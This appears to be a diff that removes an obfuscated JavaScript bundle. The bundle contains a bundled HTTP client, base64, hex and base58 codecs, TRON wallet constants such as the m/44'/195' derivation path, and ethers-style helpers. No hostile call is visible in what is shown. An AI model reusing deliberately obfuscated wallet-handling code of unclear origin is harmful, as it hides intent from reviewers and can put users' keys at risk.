- return function (_0x23b345, _0x22ebab, _0x5ec377) {
- return this.request(_0x5ee785(_0x5ec377 || {}, {
- method: _0x120778,
- headers: _0x29711e ? {
- "Content-Type": "multipart/form-data"
- } : {},
- url: _0x23b345,
- data: _0x22ebab
- }));
- };
- }
- _0x3ff7c8.prototype[_0x120778] = _0x3d7a14();
- _0x3ff7c8.prototype[_0x120778 + "Form"] = _0x3d7a14(true);
- });
- const _0x24eb3e = _0x3ff7c8;
- class _0x5a9797 {
- constructor(_0x4e6346) {
- if ("function" != typeof _0x4e6346) {
- throw new TypeError("executor must be a function.");
- }
- let _0x386a93;
- this.promise = new Promise(function (_0x12d48a) {
- _0x386a93 = _0x12d48a;
- });
- const _0xe6d0a6 = this;
- this.promise.then(_0x4915cb => {
- if (!_0xe6d0a6._listeners) {
- return;
- }
- let _0x1aa8cb = _0xe6d0a6._listeners.length;
- for (; _0x1aa8cb-- > 0;) {
- _0xe6d0a6._listeners[_0x1aa8cb](_0x4915cb);
- }
- _0xe6d0a6._listeners = null;
- });
- this.promise.then = _0x2ce0ca => {
- let _0x4194ea;
- const _0x28e95b = new Promise(_0x387a69 => {
- _0xe6d0a6.subscribe(_0x387a69);
- _0x4194ea = _0x387a69;
- }).then(_0x2ce0ca);
- _0x28e95b.cancel = function () {
- _0xe6d0a6.unsubscribe(_0x4194ea);
- };
- return _0x28e95b;
- };
- _0x4e6346(function (_0x469e85, _0xfc3719, _0x577d5e) {
- _0xe6d0a6.reason || (_0xe6d0a6.reason = new _0x5c9f1a(_0x469e85, _0xfc3719, _0x577d5e), _0x386a93(_0xe6d0a6.reason));
- });
- }
- throwIfRequested() {
- if (this.reason) {
- throw this.reason;
- }
- }
- subscribe(_0x3e1cd4) {
- this.reason ? _0x3e1cd4(this.reason) : this._listeners ? this._listeners.push(_0x3e1cd4) : this._listeners = [_0x3e1cd4];
- }
- unsubscribe(_0x14f1b3) {
- if (!this._listeners) {
- return;
- }
- const _0xafab19 = this._listeners.indexOf(_0x14f1b3);
- -1 !== _0xafab19 && this._listeners.splice(_0xafab19, 1);
- }
- static source() {
- let _0x41c8d8;
- return {
- token: new _0x5a9797(function (_0xa64300) {
- _0x41c8d8 = _0xa64300;
- }),
- cancel: _0x41c8d8
- };
- }
- }
- const _0x21a445 = _0x5a9797;
- const _0x285c70 = {
- Continue: 100,
- SwitchingProtocols: 101,
- Processing: 102,
- EarlyHints: 103,
- Ok: 200,
- Created: 201,
- Accepted: 202,
- NonAuthoritativeInformation: 203,
- NoContent: 204,
- ResetContent: 205,
- PartialContent: 206,
- MultiStatus: 207,
- AlreadyReported: 208,
- ImUsed: 226,
- MultipleChoices: 300,
- MovedPermanently: 301,
- Found: 302,
- SeeOther: 303,
- NotModified: 304,
- UseProxy: 305,
- Unused: 306,
- TemporaryRedirect: 307,
- PermanentRedirect: 308,
- BadRequest: 400,
- Unauthorized: 401,
- PaymentRequired: 402,
- Forbidden: 403,
- NotFound: 404,
- MethodNotAllowed: 405,
- NotAcceptable: 406,
- ProxyAuthenticationRequired: 407,
- RequestTimeout: 408,
- Conflict: 409,
- Gone: 410,
- LengthRequired: 411,
- PreconditionFailed: 412,
- PayloadTooLarge: 413,
- UriTooLong: 414,
- UnsupportedMediaType: 415,
- RangeNotSatisfiable: 416,
- ExpectationFailed: 417,
- ImATeapot: 418,
- MisdirectedRequest: 421,
- UnprocessableEntity: 422,
- Locked: 423,
- FailedDependency: 424,
- TooEarly: 425,
- UpgradeRequired: 426,
- PreconditionRequired: 428,
- TooManyRequests: 429,
- RequestHeaderFieldsTooLarge: 431,
- UnavailableForLegalReasons: 451,
- InternalServerError: 500,
- NotImplemented: 501,
- BadGateway: 502,
- ServiceUnavailable: 503,
- GatewayTimeout: 504,
- HttpVersionNotSupported: 505,
- VariantAlsoNegotiates: 506,
- InsufficientStorage: 507,
- LoopDetected: 508,
- NotExtended: 510,
- NetworkAuthenticationRequired: 511
- };
- Object.entries(_0x285c70).forEach(([_0x570b6a, _0x3d90b0]) => {
- _0x285c70[_0x3d90b0] = _0x570b6a;
- });
- const _0x3bddca = _0x285c70;
- const _0x4cb29d = function _0x294bb8(_0x5dc1ce) {
- const _0x1d0cd5 = new _0x24eb3e(_0x5dc1ce);
- const _0x1ac283 = _0x4de0c4(_0x24eb3e.prototype.request, _0x1d0cd5);
- _0x172845.extend(_0x1ac283, _0x24eb3e.prototype, _0x1d0cd5, {
- allOwnKeys: true
- });
- _0x172845.extend(_0x1ac283, _0x1d0cd5, null, {
- allOwnKeys: true
- });
- _0x1ac283.create = function (_0x534e7d) {
- return _0x294bb8(_0x5ee785(_0x5dc1ce, _0x534e7d));
- };
- return _0x1ac283;
- }(_0x54860b);
- _0x4cb29d.Axios = _0x24eb3e;
- _0x4cb29d.CanceledError = _0x5c9f1a;
- _0x4cb29d.CancelToken = _0x21a445;
- _0x4cb29d.isCancel = _0x44f121;
- _0x4cb29d.VERSION = _0x330903;
- _0x4cb29d.toFormData = _0x1bde0b;
- _0x4cb29d.AxiosError = _0x1a4a45;
- _0x4cb29d.Cancel = _0x4cb29d.CanceledError;
- _0x4cb29d.all = function (_0x2b4701) {
- return Promise.all(_0x2b4701);
- };
- _0x4cb29d.spread = function (_0x114398) {
- return function (_0xd50dc6) {
- return _0x114398.apply(null, _0xd50dc6);
- };
- };
- _0x4cb29d.isAxiosError = function (_0x46da8b) {
- return _0x172845.isObject(_0x46da8b) && true === _0x46da8b.isAxiosError;
- };
- _0x4cb29d.mergeConfig = _0x5ee785;
- _0x4cb29d.AxiosHeaders = _0x33511f;
- _0x4cb29d.formToJSON = _0x382be6 => _0x5c690a(_0x172845.isHTMLForm(_0x382be6) ? new FormData(_0x382be6) : _0x382be6);
- _0x4cb29d.getAdapter = _0x58dcf9.getAdapter;
- _0x4cb29d.HttpStatusCode = _0x3bddca;
- _0x4cb29d.default = _0x4cb29d;
- const _0x498859 = _0x4cb29d;
- function _0x5db87a() {
- var _0x35a117 = this;
- this._keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- this.encode = function (_0x2a1fa6) {
- for (var _0x28564e, _0x4658a6, _0x2947ed, _0x543448, _0xde3de6, _0x5e153f, _0xdc62f5, _0x3886b7 = "", _0xbec7c9 = 0; _0xbec7c9 < _0x2a1fa6.length;) {
- _0x543448 = (_0x28564e = _0x2a1fa6.charCodeAt(_0xbec7c9++)) >> 2;
- _0xde3de6 = (3 & _0x28564e) << 4 | (_0x4658a6 = _0x2a1fa6.charCodeAt(_0xbec7c9++)) >> 4;
- _0x5e153f = (15 & _0x4658a6) << 2 | (_0x2947ed = _0x2a1fa6.charCodeAt(_0xbec7c9++)) >> 6;
- _0xdc62f5 = 63 & _0x2947ed;
- isNaN(_0x4658a6) ? _0x5e153f = _0xdc62f5 = 64 : isNaN(_0x2947ed) && (_0xdc62f5 = 64);
- _0x3886b7 = _0x3886b7 + _0x35a117._keyStr.charAt(_0x543448) + _0x35a117._keyStr.charAt(_0xde3de6) + _0x35a117._keyStr.charAt(_0x5e153f) + _0x35a117._keyStr.charAt(_0xdc62f5);
- }
- return _0x3886b7;
- };
- this.encodeIgnoreUtf8 = function (_0x582e87) {
- for (var _0x53552c, _0xb78979, _0x6482c3, _0x5b62df, _0x3d80ec, _0x374e65, _0x4dfe7b, _0x288f73 = "", _0x132b04 = 0; _0x132b04 < _0x582e87.length;) {
- _0x5b62df = (_0x53552c = _0x582e87[_0x132b04++]) >> 2;
- _0x3d80ec = (3 & _0x53552c) << 4 | (_0xb78979 = _0x582e87[_0x132b04++]) >> 4;
- _0x374e65 = (15 & _0xb78979) << 2 | (_0x6482c3 = _0x582e87[_0x132b04++]) >> 6;
- _0x4dfe7b = 63 & _0x6482c3;
- isNaN(_0xb78979) ? _0x374e65 = _0x4dfe7b = 64 : isNaN(_0x6482c3) && (_0x4dfe7b = 64);
- _0x288f73 = _0x288f73 + _0x35a117._keyStr.charAt(_0x5b62df) + _0x35a117._keyStr.charAt(_0x3d80ec) + _0x35a117._keyStr.charAt(_0x374e65) + _0x35a117._keyStr.charAt(_0x4dfe7b);
- }
- return _0x288f73;
- };
- this.decode = function (_0x2d1fc2) {
- var _0x44ccf5;
- var _0x4d0224;
- var _0x5d62c0;
- var _0x44d058;
- var _0x18b230;
- var _0x4a5ab4;
- var _0x5d83b9 = "";
- var _0x55346 = 0;
- for (_0x2d1fc2 = _0x2d1fc2.replace(/[^A-Za-z0-9\+\/\=]/g, ""); _0x55346 < _0x2d1fc2.length;) {
- _0x44ccf5 = _0x35a117._keyStr.indexOf(_0x2d1fc2.charAt(_0x55346++)) << 2 | (_0x44d058 = _0x35a117._keyStr.indexOf(_0x2d1fc2.charAt(_0x55346++))) >> 4;
- _0x4d0224 = (15 & _0x44d058) << 4 | (_0x18b230 = _0x35a117._keyStr.indexOf(_0x2d1fc2.charAt(_0x55346++))) >> 2;
- _0x5d62c0 = (3 & _0x18b230) << 6 | (_0x4a5ab4 = _0x35a117._keyStr.indexOf(_0x2d1fc2.charAt(_0x55346++)));
- _0x5d83b9 += String.fromCharCode(_0x44ccf5);
- 64 != _0x18b230 && (_0x5d83b9 += String.fromCharCode(_0x4d0224));
- 64 != _0x4a5ab4 && (_0x5d83b9 += String.fromCharCode(_0x5d62c0));
- }
- return _0x35a117._utf8_decode(_0x5d83b9);
- };
- this.decodeToByteArray = function (_0x4fd7cf) {
- var _0x592a8f;
- var _0x3b8575;
- var _0x212edc;
- var _0x541617;
- var _0x67f268;
- var _0x571ff4;
- var _0x1b4ce9 = "";
- var _0x390fb1 = 0;
- for (_0x4fd7cf = _0x4fd7cf.replace(/[^A-Za-z0-9\+\/\=]/g, ""); _0x390fb1 < _0x4fd7cf.length;) {
- _0x592a8f = _0x35a117._keyStr.indexOf(_0x4fd7cf.charAt(_0x390fb1++)) << 2 | (_0x541617 = _0x35a117._keyStr.indexOf(_0x4fd7cf.charAt(_0x390fb1++))) >> 4;
- _0x3b8575 = (15 & _0x541617) << 4 | (_0x67f268 = _0x35a117._keyStr.indexOf(_0x4fd7cf.charAt(_0x390fb1++))) >> 2;
- _0x212edc = (3 & _0x67f268) << 6 | (_0x571ff4 = _0x35a117._keyStr.indexOf(_0x4fd7cf.charAt(_0x390fb1++)));
- _0x1b4ce9 += String.fromCharCode(_0x592a8f);
- 64 != _0x67f268 && (_0x1b4ce9 += String.fromCharCode(_0x3b8575));
- 64 != _0x571ff4 && (_0x1b4ce9 += String.fromCharCode(_0x212edc));
- }
- return _0x35a117._out2ByteArray(_0x1b4ce9);
- };
- this._out2ByteArray = function (_0xe07303) {
- for (var _0x3eefbb = new Array(_0xe07303.length), _0xc3bd9a = 0, _0x2692f5 = 0; _0xc3bd9a < _0xe07303.length;) {
- _0x2692f5 = _0xe07303.charCodeAt(_0xc3bd9a);
- _0x3eefbb[_0xc3bd9a] = _0x2692f5;
- _0xc3bd9a++;
- }
- return _0x3eefbb;
- };
- this._utf8_encode = function (_0x2352b0) {
- _0x2352b0 = _0x2352b0.replace(/\r\n/g, "\n");
- for (var _0xc5762f = "", _0x58249a = 0; _0x58249a < _0x2352b0.length; _0x58249a++) {
- var _0x505947 = _0x2352b0.charCodeAt(_0x58249a);
- _0x505947 < 128 ? _0xc5762f += String.fromCharCode(_0x505947) : _0x505947 > 127 && _0x505947 < 2048 ? (_0xc5762f += String.fromCharCode(_0x505947 >> 6 | 192), _0xc5762f += String.fromCharCode(63 & _0x505947 | 128)) : (_0xc5762f += String.fromCharCode(_0x505947 >> 12 | 224), _0xc5762f += String.fromCharCode(_0x505947 >> 6 & 63 | 128), _0xc5762f += String.fromCharCode(63 & _0x505947 | 128));
- }
- return _0xc5762f;
- };
- this._utf8_decode = function (_0x52675a) {
- for (var _0x3d5e44 = "", _0x4e4a4f = 0, _0xe2fd1f = 0, _0x5e32d3 = 0, _0x586ea7 = 0; _0x4e4a4f < _0x52675a.length;) {
- (_0xe2fd1f = _0x52675a.charCodeAt(_0x4e4a4f)) < 128 ? (_0x3d5e44 += String.fromCharCode(_0xe2fd1f), _0x4e4a4f++) : _0xe2fd1f > 191 && _0xe2fd1f < 224 ? (_0x5e32d3 = _0x52675a.charCodeAt(_0x4e4a4f + 1), _0x3d5e44 += String.fromCharCode((31 & _0xe2fd1f) << 6 | 63 & _0x5e32d3), _0x4e4a4f += 2) : (_0x5e32d3 = _0x52675a.charCodeAt(_0x4e4a4f + 1), _0x586ea7 = _0x52675a.charCodeAt(_0x4e4a4f + 2), _0x3d5e44 += String.fromCharCode((15 & _0xe2fd1f) << 12 | (63 & _0x5e32d3) << 6 | 63 & _0x586ea7), _0x4e4a4f += 3);
- }
- return _0x3d5e44;
- };
- }
- function _0xcae99(_0x4d43b1) {
- if ("number" != typeof _0x4d43b1) {
- throw new Error("Input must be a number");
- }
- if (_0x4d43b1 < 0 || _0x4d43b1 > 255) {
- throw new Error("Input must be a byte");
- }
- var _0x4d5d0b = "0123456789ABCDEF";
- var _0x11ffbf = "";
- return (_0x11ffbf += _0x4d5d0b.charAt(_0x4d43b1 >> 4)) + _0x4d5d0b.charAt(15 & _0x4d43b1);
- }
- function _0x10a7a2(_0xa54d6) {
- if ("string" == typeof _0xa54d6) {
- return _0xa54d6;
- }
- for (var _0x2e58e8 = "", _0x5b43a5 = 0; _0x5b43a5 < _0xa54d6.length; _0x5b43a5++) {
- var _0xeb8421 = _0xa54d6[_0x5b43a5].toString(2);
- var _0x1a06ba = _0xeb8421.match(/^1+?(?=0)/);
- if (_0x1a06ba && 8 === _0xeb8421.length) {
- for (var _0x4dc87f = _0x1a06ba[0].length, _0xc1d5ac = _0xa54d6[_0x5b43a5].toString(2).slice(7 - _0x4dc87f), _0x4ba8e5 = 1; _0x4ba8e5 < _0x4dc87f; _0x4ba8e5++) {
- _0xc1d5ac += _0xa54d6[_0x4ba8e5 + _0x5b43a5].toString(2).slice(2);
- }
- _0x2e58e8 += String.fromCharCode(parseInt(_0xc1d5ac, 2));
- _0x5b43a5 += _0x4dc87f - 1;
- } else {
- _0x2e58e8 += String.fromCharCode(_0xa54d6[_0x5b43a5]);
- }
- }
- return _0x2e58e8;
- }
- function _0x166301(_0x1f1a8f) {
- for (var _0x25c8b4 = _0x1f1a8f.replace(/^0x/, "").split(""), _0x47c70d = "", _0x127619 = 0; _0x127619 < _0x25c8b4.length / 2; _0x127619++) {
- var _0x62af95 = "0x".concat(_0x25c8b4[2 * _0x127619]).concat(_0x25c8b4[2 * _0x127619 + 1]);
- _0x47c70d += String.fromCharCode(_0x62af95);
- }
- return _0x47c70d;
- }
- function _0x5939a5(_0x3815ce) {
- for (var _0x284d6d = "", _0x18f2de = 0; _0x18f2de < _0x3815ce.length; _0x18f2de++) {
- _0x284d6d += _0xcae99(_0x3815ce[_0x18f2de]);
- }
- return _0x284d6d;
- }
- function _0x72b847(_0x511f47) {
- return new _0x5db87a().decodeToByteArray(_0x511f47);
- }
- function _0x2119b9(_0x3a213b) {
- return new _0x5db87a().encodeIgnoreUtf8(_0x3a213b);
- }
- function _0x5cba8b(_0xc01820, _0x5792ba) {
- (null == _0x5792ba || _0x5792ba > _0xc01820.length) && (_0x5792ba = _0xc01820.length);
- for (var _0x50069f = 0, _0x19de4e = new Array(_0x5792ba); _0x50069f < _0x5792ba; _0x50069f++) {
- _0x19de4e[_0x50069f] = _0xc01820[_0x50069f];
- }
- return _0x19de4e;
- }
- function _0x19faf6(_0x45d276, _0x4a59ed) {
- if (_0x45d276) {
- if ("string" == typeof _0x45d276) {
- return _0x5cba8b(_0x45d276, _0x4a59ed);
- }
- var _0x3c6626 = Object.prototype.toString.call(_0x45d276).slice(8, -1);
- "Object" === _0x3c6626 && _0x45d276.constructor && (_0x3c6626 = _0x45d276.constructor.name);
- return "Map" === _0x3c6626 || "Set" === _0x3c6626 ? Array.from(_0x45d276) : "Arguments" === _0x3c6626 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x3c6626) ? _0x5cba8b(_0x45d276, _0x4a59ed) : undefined;
- }
- }
- function _0x4cbd27(_0x5be596) {
- return function (_0x47aa3d) {
- if (Array.isArray(_0x47aa3d)) {
- return _0x5cba8b(_0x47aa3d);
- }
- }(_0x5be596) || function (_0xcc81e9) {
- if ("undefined" != typeof Symbol && null != _0xcc81e9[Symbol.iterator] || null != _0xcc81e9["@@iterator"]) {
- return Array.from(_0xcc81e9);
- }
- }(_0x5be596) || _0x19faf6(_0x5be596) || function () {
- throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }();
- }
- var _0x49aff3 = 34;
- var _0x40cce0 = "41";
- var _0x446ca1 = 65;
- var _0x1b0abe = /^(41)/;
- var _0x1a9774 = "m/44'/195'/0'/0/0";
- function _0x1be3b9(_0x35e326) {
- return _0x10a7a2(_0x35e326);
- }
- function _0x55ed6b(_0x507470, _0x5f4548, _0x3fee64) {
- if (_0x507470.length != _0x5f4548.length) {
- return false;
- }
- var _0x29503f;
- for (_0x29503f = 0; _0x29503f < _0x507470.length; _0x29503f++) {
- if (_0x3fee64) {
- if (_0x507470[_0x29503f] != _0x5f4548[_0x29503f]) {
- return false;
- }
- } else {
- if (JSON.stringify(_0x507470[_0x29503f]) != JSON.stringify(_0x5f4548[_0x29503f])) {
- return false;
- }
- }
- }
- return true;
- }
- function _0x326176(_0x2559f6) {
- if ("string" != typeof _0x2559f6) {
- throw new Error("The passed string is not a string");
- }
- var _0x98887;
- var _0x7945b0;
- var _0x523fe2 = new Array();
- _0x98887 = _0x2559f6.length;
- for (var _0x8130e2 = 0; _0x8130e2 < _0x98887; _0x8130e2++) {
- (_0x7945b0 = _0x2559f6.charCodeAt(_0x8130e2)) >= 65536 && _0x7945b0 <= 1114111 ? (_0x523fe2.push(_0x7945b0 >> 18 & 7 | 240), _0x523fe2.push(_0x7945b0 >> 12 & 63 | 128), _0x523fe2.push(_0x7945b0 >> 6 & 63 | 128), _0x523fe2.push(63 & _0x7945b0 | 128)) : _0x7945b0 >= 2048 && _0x7945b0 <= 65535 ? (_0x523fe2.push(_0x7945b0 >> 12 & 15 | 224), _0x523fe2.push(_0x7945b0 >> 6 & 63 | 128), _0x523fe2.push(63 & _0x7945b0 | 128)) : _0x7945b0 >= 128 && _0x7945b0 <= 2047 ? (_0x523fe2.push(_0x7945b0 >> 6 & 31 | 192), _0x523fe2.push(63 & _0x7945b0 | 128)) : _0x523fe2.push(255 & _0x7945b0);
- }
- return _0x523fe2;
- }
- function _0x5eed80(_0x2c64ed) {
- var _0x3c8d89;
- if (_0x2c64ed >= "A" && _0x2c64ed <= "F" ? _0x3c8d89 = _0x2c64ed.charCodeAt(0) - "A".charCodeAt(0) + 10 : _0x2c64ed >= "a" && _0x2c64ed <= "f" ? _0x3c8d89 = _0x2c64ed.charCodeAt(0) - "a".charCodeAt(0) + 10 : _0x2c64ed >= "0" && _0x2c64ed <= "9" && (_0x3c8d89 = _0x2c64ed.charCodeAt(0) - "0".charCodeAt(0)), "number" == typeof _0x3c8d89) {
- return _0x3c8d89;
- }
- throw new Error("The passed hex char is not a valid hex char");
- }
- function _0x320888(_0x2ac881) {
- return _0x2ac881 >= "A" && _0x2ac881 <= "F" || _0x2ac881 >= "a" && _0x2ac881 <= "f" || _0x2ac881 >= "0" && _0x2ac881 <= "9" ? 1 : 0;
- }
- function _0x4668eb(_0x40dd1d) {
- var _0x26126d = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if ("string" != typeof _0x40dd1d) {
- throw new Error("The passed string is not a string");
- }
- var _0x11ef0d = _0x40dd1d.length;
- _0x26126d && _0x11ef0d % 2 && (_0x40dd1d = "0".concat(_0x40dd1d), _0x11ef0d++);
- for (var _0x1a6de0 = Array(), _0x12585d = 0, _0x40aa72 = 0, _0x3361a5 = 0, _0x35943d = 0; _0x35943d < _0x11ef0d; _0x35943d++) {
- var _0x5a676b = _0x40dd1d.charAt(_0x35943d);
- if (!_0x320888(_0x5a676b)) {
- throw new Error("The passed hex char is not a valid hex string");
- }
- _0x12585d <<= 4;
- _0x12585d += _0x5eed80(_0x5a676b);
- 0 == ++_0x40aa72 % 2 && (_0x1a6de0[_0x3361a5++] = _0x12585d, _0x12585d = 0);
- }
- return _0x1a6de0;
- }
- function _0xdd1164(_0x258326) {
- if (!/^\d{4}-\d{2}-\d{2}( \d{2}-\d{2}-\d{2}|)/.test(_0x258326)) {
- throw new Error("The passed date string is not valid");
- }
- var _0x1e6425 = _0x258326.split(" ");
- var _0x36c609 = _0x1e6425[0].split("-");
- var _0xf3ba46 = parseInt(_0x36c609[0], 10);
- var _0x1b8f7d = parseInt(_0x36c609[1], 10) - 1;
- var _0x1f8c2e = parseInt(_0x36c609[2], 10);
- if (_0x1e6425.length > 1) {
- var _0x3ec377 = _0x1e6425[1].split("-");
- var _0x2b8d40 = parseInt(_0x3ec377[0], 10);
- var _0x217570 = parseInt(_0x3ec377[1], 10);
- var _0x57cded = parseInt(_0x3ec377[2], 10);
- return new Date(_0xf3ba46, _0x1b8f7d, _0x1f8c2e, _0x2b8d40, _0x217570, _0x57cded);
- }
- return new Date(_0xf3ba46, _0x1b8f7d, _0x1f8c2e);
- }
- function _0x2e7fdb(_0x2dd848) {
- return _0x2dd848 >= "0" && _0x2dd848 <= "9" ? 1 : 0;
- }
- function _0x52af87(_0x1051bc) {
- if (null == _0x1051bc) {
- return -1;
- }
- if ("string" != typeof _0x1051bc) {
- return -1;
- }
- if (0 == _0x1051bc.length || "" == _0x1051bc) {
- return -1;
- }
- var _0x310d1d = 0;
- if (40 == _0x1051bc.length) {
- for (; _0x310d1d < 40 && _0x320888(_0x1051bc.charAt(_0x310d1d)); _0x310d1d++) {}
- }
- if (40 == _0x310d1d) {
- return 1;
- }
- for (_0x310d1d = 0; _0x310d1d < _0x1051bc.length && _0x2e7fdb(_0x1051bc.charAt(_0x310d1d)); _0x310d1d++) {}
- if (_0x310d1d == _0x1051bc.length) {
- return 2;
- }
- for (_0x310d1d = 0; _0x310d1d < _0x1051bc.length; _0x310d1d++) {
- if (_0x1051bc.charAt(_0x310d1d) > " ") {
- return 3;
- }
- }
- return -1;
- }
- for (var _0x308538 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", _0x5abfca = {}, _0x549d41 = 0; _0x549d41 < _0x308538.length; _0x549d41++) {
- _0x5abfca[_0x308538.charAt(_0x549d41)] = _0x549d41;
- }
- var _0x57d50b = 58;
- function _0x547e9a(_0x5190d7) {
- if (0 === _0x5190d7.length) {
- return "";
- }
- var _0x5b0acc;
- var _0xe7944b;
- var _0x4b3331 = [0];
- for (_0x5b0acc = 0; _0x5b0acc < _0x5190d7.length; _0x5b0acc++) {
- for (_0xe7944b = 0; _0xe7944b < _0x4b3331.length; _0xe7944b++) {
- _0x4b3331[_0xe7944b] <<= 8;
- }
- _0x4b3331[0] += _0x5190d7[_0x5b0acc];
- var _0xc8abed = 0;
- for (_0xe7944b = 0; _0xe7944b < _0x4b3331.length; ++_0xe7944b) {
- _0x4b3331[_0xe7944b] += _0xc8abed;
- _0xc8abed = _0x4b3331[_0xe7944b] / _0x57d50b | 0;
- _0x4b3331[_0xe7944b] %= _0x57d50b;
- }
- for (; _0xc8abed;) {
- _0x4b3331.push(_0xc8abed % _0x57d50b);
- _0xc8abed = _0xc8abed / _0x57d50b | 0;
- }
- }
- for (_0x5b0acc = 0; 0 === _0x5190d7[_0x5b0acc] && _0x5b0acc < _0x5190d7.length - 1; _0x5b0acc++) {
- _0x4b3331.push(0);
- }
- return _0x4b3331.reverse().map(function (_0x4e73b2) {
- return _0x308538[_0x4e73b2];
- }).join("");
- }
- function _0x45d584(_0x2f5efc) {
- if (0 === _0x2f5efc.length) {
- return [];
- }
- var _0x3152d0;
- var _0x46af61;
- var _0x5964ae = [0];
- for (_0x3152d0 = 0; _0x3152d0 < _0x2f5efc.length; _0x3152d0++) {
- var _0x150516 = _0x2f5efc[_0x3152d0];
- if (!(_0x150516 in _0x5abfca)) {
- throw new Error("Non-base58 character");
- }
- for (_0x46af61 = 0; _0x46af61 < _0x5964ae.length; _0x46af61++) {
- _0x5964ae[_0x46af61] *= _0x57d50b;
- }
- _0x5964ae[0] += _0x5abfca[_0x150516];
- var _0x345bad = 0;
- for (_0x46af61 = 0; _0x46af61 < _0x5964ae.length; ++_0x46af61) {
- _0x5964ae[_0x46af61] += _0x345bad;
- _0x345bad = _0x5964ae[_0x46af61] >> 8;
- _0x5964ae[_0x46af61] &= 255;
- }
- for (; _0x345bad;) {
- _0x5964ae.push(255 & _0x345bad);
- _0x345bad >>= 8;
- }
- }
- for (_0x3152d0 = 0; "1" === _0x2f5efc[_0x3152d0] && _0x3152d0 < _0x2f5efc.length - 1; _0x3152d0++) {
- _0x5964ae.push(0);
- }
- return _0x5964ae.reverse();
- }
- function _0x32fb5a(_0x219530, _0x5565db, _0x118fe9) {
- if (!_0x5565db.has(_0x219530)) {
- throw new TypeError("attempted to " + _0x118fe9 + " private field on non-instance");
- }
- return _0x5565db.get(_0x219530);
- }
- function _0x207f54(_0x1b756d, _0x5704f6, _0x5b003c) {
- (function (_0x5322fe, _0x1082fc, _0x5ef45c) {
- if (_0x1082fc.set) {
- _0x1082fc.set.call(_0x5322fe, _0x5ef45c);
- } else {
- if (!_0x1082fc.writable) {
- throw new TypeError("attempted to set read only private field");
- }
- _0x1082fc.value = _0x5ef45c;
- }
- })(_0x1b756d, _0x32fb5a(_0x1b756d, _0x5704f6, "set"), _0x5b003c);
- return _0x5b003c;
- }
- function _0x46b89d(_0x252feb, _0x3da7e8) {
- return function (_0x1d35a0, _0x1aa000) {
- return _0x1aa000.get ? _0x1aa000.get.call(_0x1d35a0) : _0x1aa000.value;
- }(_0x252feb, _0x32fb5a(_0x252feb, _0x3da7e8, "get"));
- }
- var _0x5b0e9c = "0x0000000000000000000000000000000000000000000000000000000000000000";
- var _0x2774bb = "6.6.0";
- function _0x345d5e(_0x4c406d, _0x4b44e2, _0x39f839) {
- for (var _0x57867c = _0x4b44e2.split("|").map(function (_0x1e412a) {
- return _0x1e412a.trim();
- }), _0x1ec31f = 0; _0x1ec31f < _0x57867c.length; _0x1ec31f++) {
- switch (_0x4b44e2) {
- case "any":
- return;
- case "bigint":
- case "boolean":
- case "number":
- case "string":
- if (_0x4dce66(_0x4c406d) === _0x4b44e2) {
- return;
- }
- }
- }
- var _0x1dac63 = new Error("invalid value for type ".concat(_0x4b44e2));
- throw _0x1dac63.code = "INVALID_ARGUMENT", _0x1dac63.argument = "value.".concat(_0x39f839), _0x1dac63.value = _0x4c406d, _0x1dac63;
- }
- function _0x2cffce(_0x2ea3ba) {
- return _0x39ebae.apply(this, arguments);
- }
- function _0x39ebae() {
- return (_0x39ebae = _0x203d83(_0x4afc9d.mark(function _0x58aca0(_0x417422) {
- var _0x593202;
- var _0x5ced63;
- return _0x4afc9d.wrap(function (_0x521187) {
- for (;;) {
- switch (_0x521187.prev = _0x521187.next) {
- case 0:
- _0x593202 = Object.keys(_0x417422);
- _0x521187.next = 3;
- return Promise.all(_0x593202.map(function (_0x14da36) {
- return Promise.resolve(_0x417422[_0x14da36]);
- }));
- case 3:
- _0x5ced63 = _0x521187.sent;
- return _0x521187.abrupt("return", _0x5ced63.reduce(function (_0x4aa879, _0x2bc558, _0x1ab17e) {
- _0x4aa879[_0x593202[_0x1ab17e]] = _0x2bc558;
- return _0x4aa879;
- }, {}));
- case 5:
- case "end":
- return _0x521187.stop();
- }
- }
- }, _0x58aca0);
- }))).apply(this, arguments);
- }
- function _0x7e8dd6(_0x5ad448, _0x5ddd45, _0x20d70a) {
- for (var _0x47abf3 in _0x5ddd45) {
- var _0x52d061 = _0x5ddd45[_0x47abf3];
- var _0x45e68e = _0x20d70a ? _0x20d70a[_0x47abf3] : null;
- _0x45e68e && _0x345d5e(_0x52d061, _0x45e68e, _0x47abf3);
- Object.defineProperty(_0x5ad448, _0x47abf3, {
- enumerable: true,
- value: _0x52d061,
- writable: false
- });
- }
- }
- function _0x13ea4e(_0x398e11) {
- if (null == _0x398e11) {
- return "null";
- }
- if (Array.isArray(_0x398e11)) {
- return "[ " + _0x398e11.map(_0x13ea4e).join(", ") + " ]";
- }
- if (_0x398e11 instanceof Uint8Array) {
- for (var _0x33fde1 = "0123456789abcdef", _0x16fdd4 = "0x", _0x50cbba = 0; _0x50cbba < _0x398e11.length; _0x50cbba++) {
- _0x16fdd4 += _0x33fde1[_0x398e11[_0x50cbba] >> 4];
- _0x16fdd4 += _0x33fde1[15 & _0x398e11[_0x50cbba]];
- }
- return _0x16fdd4;
- }
- if ("object" === _0x4dce66(_0x398e11) && "function" == typeof _0x398e11.toJSON) {
- return _0x13ea4e(_0x398e11.toJSON());
- }
- switch (_0x4dce66(_0x398e11)) {
- case "boolean":
- case "symbol":
- case "number":
- return _0x398e11.toString();
- case "bigint":
- return BigInt(_0x398e11).toString();
- case "string":
- return JSON.stringify(_0x398e11);
- case "object":
- var _0x397fda = Object.keys(_0x398e11);
- _0x397fda.sort();
- return "{ " + _0x397fda.map(function (_0x5ad7e5) {
- return "".concat(_0x13ea4e(_0x5ad7e5), ": ").concat(_0x13ea4e(_0x398e11[_0x5ad7e5]));
- }).join(", ") + " }";
- }
- return "[ COULD NOT SERIALIZE ]";
- }
- function _0x481767(_0x1e421c, _0xf844cc) {
- return _0x1e421c && _0x1e421c.code === _0xf844cc;
- }
- function _0x283e69(_0x43c2c2, _0x2cfd57, _0x5189c4) {
- var _0x253742;
- var _0x2d79b4 = [];
- if (_0x5189c4) {
- if ("message" in _0x5189c4 || "code" in _0x5189c4 || "name" in _0x5189c4) {
